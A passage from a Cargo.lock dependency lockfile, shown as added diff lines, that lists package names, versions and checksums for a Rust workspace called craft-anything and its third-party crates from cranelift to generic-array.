+dependencies = [ + "craft-anything-engine", + "craft-anything-evidence", + "craft-anything-platform", + "log", + "serde", + "serde_json", +] + +[[package]] +name = "craft-anything-platform" +version = "0.3.0" +dependencies = [ + "craft-anything-evidence", + "hex", + "log", + "nix 0.31.3", + "portable-pty", + "process-wrap", + "serde", + "serde_json", + "sha2", + "tempfile", + "vt100", + "windows", + "xcap", +] + +[[package]] +name = "craft-anything-setup" +version = "0.3.0" +dependencies = [ + "craft-anything-engine", + "craft-anything-engines", + "craft-anything-evidence", + "craft-anything-formats", + "craft-anything-platform", + "log", + "schemars", + "serde", + "serde_json", + "tempfile", + "toml 0.9.12+spec-1.1.0", + "toml_edit", + "yaml-rust2", +] + +[[package]] +name = "craft-anything-testkit" +version = "0.3.0" +dependencies = [ + "miniz_oxide 0.8.9", + "p256", + "rand 0.8.8", + "rsa", + "serde_json", + "sha1", + "sha2", +] + +[[package]] +name = "craft-anything-ui-egui" +version = "0.3.0" +dependencies = [ + "craft-anything-ai", + "craft-anything-engine", + "craft-anything-engines", + "craft-anything-platform", + "craft-anything-setup", + "craft-anything-testkit", + "eframe", + "egui", + "egui_extras", + "egui_kittest", + "log", + "pollster 0.4.0", + "rfd", + "serde", + "serde_json", + "sys-locale", + "tempfile", +] + +[[package]] +name = "craft-anything-web" +version = "0.3.0" +dependencies = [ + "craft-anything-analysis", + "craft-anything-evidence", + "craft-anything-formats", + "eframe", + "egui", + "log", + "rfd", + "serde_json", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "cranelift-assembler-x64" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9c587da2696fbaa58e7a2fa2e5bfdd365d0928219f36992304ac1f15e5bc254" +dependencies = [ + "cranelift-assembler-x64-meta", +] + +[[package]] +name = "cranelift-assembler-x64-meta" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28a60027b7556b680b051651291053ec381edf4ffbc01784997ae51a64269bb" +dependencies = [ + "cranelift-srcgen", +] + +[[package]] +name = "cranelift-bforest" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bfdb846acebfd591d601994ea283c98d525ac0bc9a84ca3f2c36bcf5b69ff1" +dependencies = [ + "cranelift-entity", + "wasmtime-internal-core", +] + +[[package]] +name = "cranelift-bitset" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9f8cc1080739d5f72b4ee7e00aff7d589f1284beaf0a19472c07878be7f299" +dependencies = [ + "serde", + "serde_derive", + "wasmtime-internal-core", +] + +[[package]] +name = "cranelift-codegen" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d85417d493ecec833b5134546b4a252c78cc0bd5be11729a35d25dcff9e4e70b" +dependencies = [ + "bumpalo", + "cranelift-assembler-x64", + "cranelift-bforest", + "cranelift-bitset", + "cranelift-codegen-meta", + "cranelift-codegen-shared", + "cranelift-control", + "cranelift-entity", + "cranelift-isle", + "gimli", + "hashbrown 0.17.1", + "libm", + "log", + "postcard", + "pulley-interpreter", + "regalloc2", + "rustc-hash 2.1.3", + "serde", + "serde_derive", + "sha2", + "smallvec", + "target-lexicon", + "wasmtime-internal-core", +] + +[[package]] +name = "cranelift-codegen-meta" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d01c8ed0098360bae69ad6b82952d4247516799ce8050d45ad168d6689f4eae6" +dependencies = [ + "cranelift-assembler-x64-meta", + "cranelift-codegen-shared", + "cranelift-srcgen", + "heck", + "pulley-interpreter", +] + +[[package]] +name = "cranelift-codegen-shared" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04f9b86d809cec9c4e88b201f1b3ed3b0347674c9ccfbb8c355228669e34be81" + +[[package]] +name = "cranelift-control" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce182038fb10b719841e65fdf5deeee258c684f63439f5be680c2be059274b58" +dependencies = [ + "arbitrary", +] + +[[package]] +name = "cranelift-entity" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bca812b03a7b942796391f25bc02aa70a1a007fee3ce2756490c788429e9c39" +dependencies = [ + "cranelift-bitset", + "serde", + "serde_derive", + "wasmtime-internal-core", +] + +[[package]] +name = "cranelift-frontend" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c30563d2aef95e8d1a00a920199c99117b350339599f0e9487a7a1cf5d59de" +dependencies = [ + "cranelift-codegen", + "hashbrown 0.17.1", + "log", + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cranelift-isle" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c54184333a275698edb1d3bdff226131a25d47133d792aa716e47e32b8b7f05" + +[[package]] +name = "cranelift-native" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb67a4c8a3180b5f1d77dffcd6317c05386ced42e5a31c7004523a9d99dc85c1" +dependencies = [ + "cranelift-codegen", + "libc", + "target-lexicon", +] + +[[package]] +name = "cranelift-srcgen" +version = "0.136.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b533db1679b4b728568bd490da6533cf50974c48a4d7534e78f1e0e02bc39769" + +[[package]] +name = "crc" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5eb8a2a1cd12ab0d987a5d5e825195d372001a4094a0376319d5a0ad71c1ba0d" +dependencies = [ + "crc-catalog", +] + +[[package]] +name = "crc-catalog" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "217698eaf96b4a3f0bc4f3662aaa55bdf913cd54d7204591faa790070c6d0853" + +[[package]] +name = "crc32fast" +version = "1.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01a7799fd6b852db0e61728dde9a204c423b44d689dbd432522543614b490e78" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "622f3fc73690be383c7214310406f28a90e6edeadc3cea882f9d71e495b9711a" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc74980687109a3b14c72fd458107bf0baa1da1a1a805e178d15501ba9b86d9d" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a31eee39dddec8330830986fcd7625edb5a24ec90ea038215273bbc3adb08ac6" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-bigint" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" +dependencies = [ + "generic-array", + "rand_core 0.6.4", + "subtle", + "zeroize", +] + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctrlc" +version = "3.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e0b1fab2ae45819af2d0731d60f2afe17227ebb1a1538a236da84c93e9a60162" +dependencies = [ + "dispatch2", + "nix 0.31.3", + "windows-sys 0.61.2", +] + +[[package]] +name = "cursor-icon" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f27ae1dd37df86211c42e150270f82743308803d90a6f6e6651cd730d5e1732f" + +[[package]] +name = "data-url" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be1e0bca6c3637f992fc1cc7cbc52a78c1ef6db076dbf1059c4323d6a2048376" + +[[package]] +name = "dbus" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ab69f03cc8c4340c9c8e315114e1658e6775a9b16a04357973aa21cec22b32e" +dependencies = [ + "libc", + "libdbus-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "dbus-secret-service" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "708b509edf7889e53d7efb0ffadd994cc6c2345ccb62f55cfd6b0682165e4fa6" +dependencies = [ + "aes", + "block-padding", + "cbc", + "dbus", + "fastrand", + "hkdf", + "num", + "once_cell", + "sha2", + "zeroize", +] + +[[package]] +name = "der" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" +dependencies = [ + "const-oid", + "pem-rfc7468", + "zeroize", +] + +[[package]] +name = "dify" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90ce0fb972943b4e88cd03b8f92953df0c71bb05e0bde8e5b684895d808013cc" +dependencies = [ + "anyhow", + "colored", + "getopts", + "image", + "rayon", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "const-oid", + "crypto-common", + "subtle", +] + +[[package]] +name = "dirs" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e8aa94d75141228480295a7d0e7feb620b1a5ad9f12bc40be62411e38cce4e" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e01a3366d27ee9890022452ee61b2b63a67e6f13f58900b651ff5665f0bb1fab" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.61.2", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dispatch2" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e0e367e4e7da84520dedcac1901e4da967309406d1e51017ae1abfb97adbd38" +dependencies = [ + "bitflags 2.13.2", + "block2 0.6.2", + "libc", + "objc2 0.6.5", +] + +[[package]] +name = "displaydoc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "dlib" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab8ecd87370524b461f8557c119c405552c396ed91fc0a8eec68679eab26f94a" +dependencies = [ + "libloading", +] + +[[package]] +name = "document-features" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4b8a88685455ed29a21542a33abd9cb6510b6b129abadabdcef0f4c55bc8f61" +dependencies = [ + "litrs", +] + +[[package]] +name = "downcast-rs" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b325c5dbd37f80359721ad39aca5a29fb04c89279657cffdda8736d0c0b9d2" + +[[package]] +name = "dpi" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8b14ccef22fc6f5a8f4d7d768562a182c04ce9a3b3157b91390b52ddfdf1a76" + +[[package]] +name = "dragonbox_ecma" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd8e701084c37e7ef62d3f9e453b618130cbc0ef3573847785952a3ac3f746bf" + +[[package]] +name = "drm" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80bc8c5c6c2941f70a55c15f8d9f00f9710ebda3ffda98075f996a0e6c92756f" +dependencies = [ + "bitflags 2.13.2", + "bytemuck", + "drm-ffi", + "drm-fourcc", + "libc", + "rustix 0.38.44", +] + +[[package]] +name = "drm" +version = "0.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a41816e58f47f49acfd956651055ddcf137c4882c2098c30c448817af21183a" +dependencies = [ + "bitflags 2.13.2", + "bytemuck", + "bytemuck_derive", + "drm-ffi", + "drm-fourcc", + "libc", + "rustix 1.1.5", +] + +[[package]] +name = "drm-ffi" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51a91c9b32ac4e8105dec255e849e0d66e27d7c34d184364fb93e469db08f690" +dependencies = [ + "drm-sys", + "rustix 1.1.5", +] + +[[package]] +name = "drm-fourcc" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0aafbcdb8afc29c1a7ee5fbe53b5d62f4565b35a042a662ca9fecd0b54dae6f4" + +[[package]] +name = "drm-sys" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8e1361066d91f5ffccff060a3c3be9c3ecde15be2959c1937595f7a82a9f8" +dependencies = [ + "libc", + "linux-raw-sys 0.9.4", +] + +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + +[[package]] +name = "ecdsa" +version = "0.16.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" +dependencies = [ + "der", + "digest", + "elliptic-curve", + "rfc6979", + "signature", + "spki", +] + +[[package]] +name = "ecolor" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0656a7530b9e2841ee7a5f983965bdd9840c32f4012f759cfd44b912cced6b34" +dependencies = [ + "bytemuck", + "emath", + "serde", +] + +[[package]] +name = "eframe" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ad41fac6e3149abb4866e93df37dbd33baa95db525c3368c944584e95a5dc2" +dependencies = [ + "ahash", + "bytemuck", + "document-features", + "egui", + "egui-wgpu", + "egui-winit", + "egui_glow", + "glutin", + "glutin-winit", + "image", + "js-sys", + "log", + "objc2 0.6.5", + "objc2-app-kit 0.3.2", + "objc2-foundation 0.3.2", + "parking_lot", + "percent-encoding", + "pollster 1.0.1", + "profiling", + "raw-window-handle", + "ron", + "serde", + "static_assertions", + "wasm-bindgen", + "web-sys", + "web-time", + "wgpu", + "windows-sys 0.61.2", + "winit", +] + +[[package]] +name = "egui" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc938cc27cd911415e1e4d151bc56ff9df063d8db081374e87aeb805ea74b2ba" +dependencies = [ + "accesskit", + "ahash", + "bitflags 2.13.2", + "emath", + "epaint", + "itertools 0.15.0", + "log", + "nohash-hasher", + "profiling", + "ron", + "serde", + "smallvec", + "unicode-segmentation", + "web-sys", +] + +[[package]] +name = "egui-wgpu" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cef1f6d1bba40b09a4d0d62cb822b81030922cfbf65c5373398c3a3caafc5bd" +dependencies = [ + "ahash", + "bytemuck", + "document-features", + "egui", + "epaint", + "log", + "profiling", + "thiserror 2.0.21", + "type-map", + "web-time", + "wgpu", + "winit", +] + +[[package]] +name = "egui-winit" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98466000559d66ba4db786a30448b01483946add4188e7f10f522a27b4fb89cc" +dependencies = [ + "accesskit_winit", + "arboard", + "bytemuck", + "egui", + "log", + "objc2 0.6.5", + "objc2-foundation 0.3.2", + "objc2-ui-kit 0.3.2", + "profiling", + "raw-window-handle", + "serde", + "smithay-clipboard", + "web-time", + "webbrowser", + "winit", +] + +[[package]] +name = "egui_extras" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05cbdc785020861553f230f23d330ba1fb72613b9d8e0e457f3bdc8ba6db6dcf" +dependencies = [ + "ahash", + "egui", + "enum-map", + "itertools 0.15.0", + "log", + "profiling", + "resvg", +] + +[[package]] +name = "egui_glow" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "606ed4167daf341e5753d703285c4c1d562324b2c07aa8f405cd7d066fe58f3b" +dependencies = [ + "bytemuck", + "egui", + "glow", + "log", + "profiling", + "winit", +] + +[[package]] +name = "egui_kittest" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5eb3f3effb2726fee23449293e67acbf6cc6ce35525b1722bd5743bb348114d5" +dependencies = [ + "dify", + "eframe", + "egui", + "egui-wgpu", + "image", + "kittest", + "log", + "open", + "pollster 1.0.1", + "serde", + "tempfile", + "toml 1.1.8+spec-1.1.0", + "wgpu", +] + +[[package]] +name = "either" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e9c71c2167ca323c882b99918929403426e2373ea17242ff5653e0d5e1058be" + +[[package]] +name = "elliptic-curve" +version = "0.13.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" +dependencies = [ + "base16ct", + "crypto-bigint", + "digest", + "ff", + "generic-array", + "group", + "pem-rfc7468", + "pkcs8", + "rand_core 0.6.4", + "sec1", + "subtle", + "zeroize", +] + +[[package]] +name = "emath" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52c8d4141cf0f60fb2f7aefaf352d3ffa5171ef0ab09731c64391801e95e48f1" +dependencies = [ + "bytemuck", + "serde", +] + +[[package]] +name = "embedded-io" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef1a6892d9eef45c8fa6b9e0086428a2cca8491aca8f787c534a3d6d0bcb3ced" + +[[package]] +name = "embedded-io" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edd0f118536f44f5ccd48bcb8b111bdc3de888b58c74639dfb034a357d0f206d" + +[[package]] +name = "encoding_rs" +version = "0.8.42" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e985e0451871ad22fb8d2b6b076e2028a502a0d3950998c2c5c0a4f9b5d9679" +dependencies = [ + "cfg-if", + "core_detect", + "multiversion_no_op", + "rustversion", + "scopeguard", + "simdutf8", +] + +[[package]] +name = "endi" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099" + +[[package]] +name = "enum-map" +version = "2.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6866f3bfdf8207509a033af1a75a7b08abda06bbaaeae6669323fd5a097df2e9" +dependencies = [ + "enum-map-derive", +] + +[[package]] +name = "enum-map-derive" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f282cfdfe92516eb26c2af8589c274c7c17681f5ecc03c18255fe741c6aa64eb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "enumflags2" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1027f7680c853e056ebcec683615fb6fbbc07dbaa13b4d5d9442b146ded4ecef" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "enumn" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2f9ed6b3789237c8a0c1c505af1c7eb2c560df6186f01b098c3a1064ea532f38" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + +[[package]] +name = "epaint" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0ec0308dc23130fc1a7d4623a8534c2ed069c6dc84e258ee4f3de99615aa1a3" +dependencies = [ + "ahash", + "bytemuck", + "ecolor", + "emath", + "epaint_default_fonts", + "font-types", + "harfrust", + "log", + "nohash-hasher", + "parking_lot", + "profiling", + "self_cell", + "serde", + "skrifa", + "smallvec", + "unicode-general-category", + "unicode-segmentation", + "vello_cpu", +] + +[[package]] +name = "epaint_default_fonts" +version = "0.36.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773fa9c96dd0dbef887e39d0ed6177f141cce4d68e6041df77570aa3702dfa13" + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "error-code" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b5343afd4a8365a643ac588dab4cf234a190c7f6c88c9f6dd6ffe00837661b7" + +[[package]] +name = "escape-simd" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "120339709b24832c07464b0838828361b735d793c409b8ca3147db0dae601542" + +[[package]] +name = "euclid" +version = "0.22.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1a05365e3b1c6d1650318537c7460c6923f1abdd272ad6842baa2b509957a06" +dependencies = [ + "num-traits", +] + +[[package]] +name = "event-listener" +version = "5.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a23add41df1562121a9393cb065eab5146a1242410f23a644851e90cfd669d2" +dependencies = [ + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" + +[[package]] +name = "fax" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caf1079563223d5d59d83c85886a56e586cfd5c1a26292e971a0fa266531ac5a" + +[[package]] +name = "fdeflate" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e6853b52649d4ac5c0bd02320cddc5ba956bdb407c4b75a2c6b75bf51500f8c" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "fearless_simd" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97b65636e5b9ef369943878ac74335ba1c55c1cb6adbf1e2c293c624248d693" + +[[package]] +name = "ff" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" +dependencies = [ + "rand_core 0.6.4", + "subtle", +] + +[[package]] +name = "filedescriptor" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e40758ed24c9b2eeb76c35fb0aebc66c626084edd827e07e1552279814c6682d" +dependencies = [ + "libc", + "thiserror 1.0.69", + "winapi", +] + +[[package]] +name = "find-msvc-tools" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aedcfb3409746eddb02b9e19ebda1c3394f759a152e48ee875a0844d1b955484" + +[[package]] +name = "flate2" +version = "1.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb" +dependencies = [ + "crc32fast", + "miniz_oxide 0.9.1", + "zlib-rs", +] + +[[package]] +name = "float-cmp" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "98de4bbd547a563b716d8dfa9aad1cb19bfab00f4fa09a6a4ed21dbcf44ce9c4" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "foldhash" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" + +[[package]] +name = "font-types" +version = "0.12.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c92d9081c7ab3bd83ef1eecdfad090f3d966e3ce74106779664114cfe1a6274" +dependencies = [ + "bytemuck", + "serde", +] + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea5190182e6915eb873ddbc16e23b711b6eb1f9c00a0d0a3a91b5f6228475225" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "funty" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" + +[[package]] +name = "futures" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a31d2a3fbaaeb2af2368bbdd904aa8e812d3c04a1ee10d3171f52d556e5d0a3" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f9e3d69d39e4862ffed03ed071a76f9a13ba1d9109d355b0f0aa6b15e393c4" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92d699e522242e69e3003b94ecc1f960f3a5e015aa7c5d7486e65ad01dd94f5e" + +[[package]] +name = "futures-io" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53c0fa8157de1303bfffdaa1cc2a673bfffb60102f76b0ef4441659124373fed" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb9654ba8355388abeb8dcb4fc62f511300867002afc858860463bdd9fe0c44" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.9", +] + +[[package]] +name = "futures-sink" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1944426bf7d03f1d14f708785e4b33efd750b36d48a157b836b3efc15ede8e1d" + +[[package]] +name = "futures-task" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" + +[[package]] +name = "futures-util" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d50a92467f8ba5dd6e3ee5d4bd04d73ab2e4e1c44474a0674821dfce14b79bc" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "gbm" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce852e998d3ca5e4a97014fb31c940dc5ef344ec7d364984525fd11e8a547e6a" +dependencies = [ + "bitflags 2.13.2", + "drm 0.14.1", + "drm-fourcc", + "gbm-sys", + "libc", + "wayland-backend", + "wayland-server", +] + +[[package]] +name = "gbm-sys" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13a5f2acc785d8fb6bf6b7ab6bfb0ef5dad4f4d97e8e70bb8e470722312f76f" +dependencies = [ + "libc", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 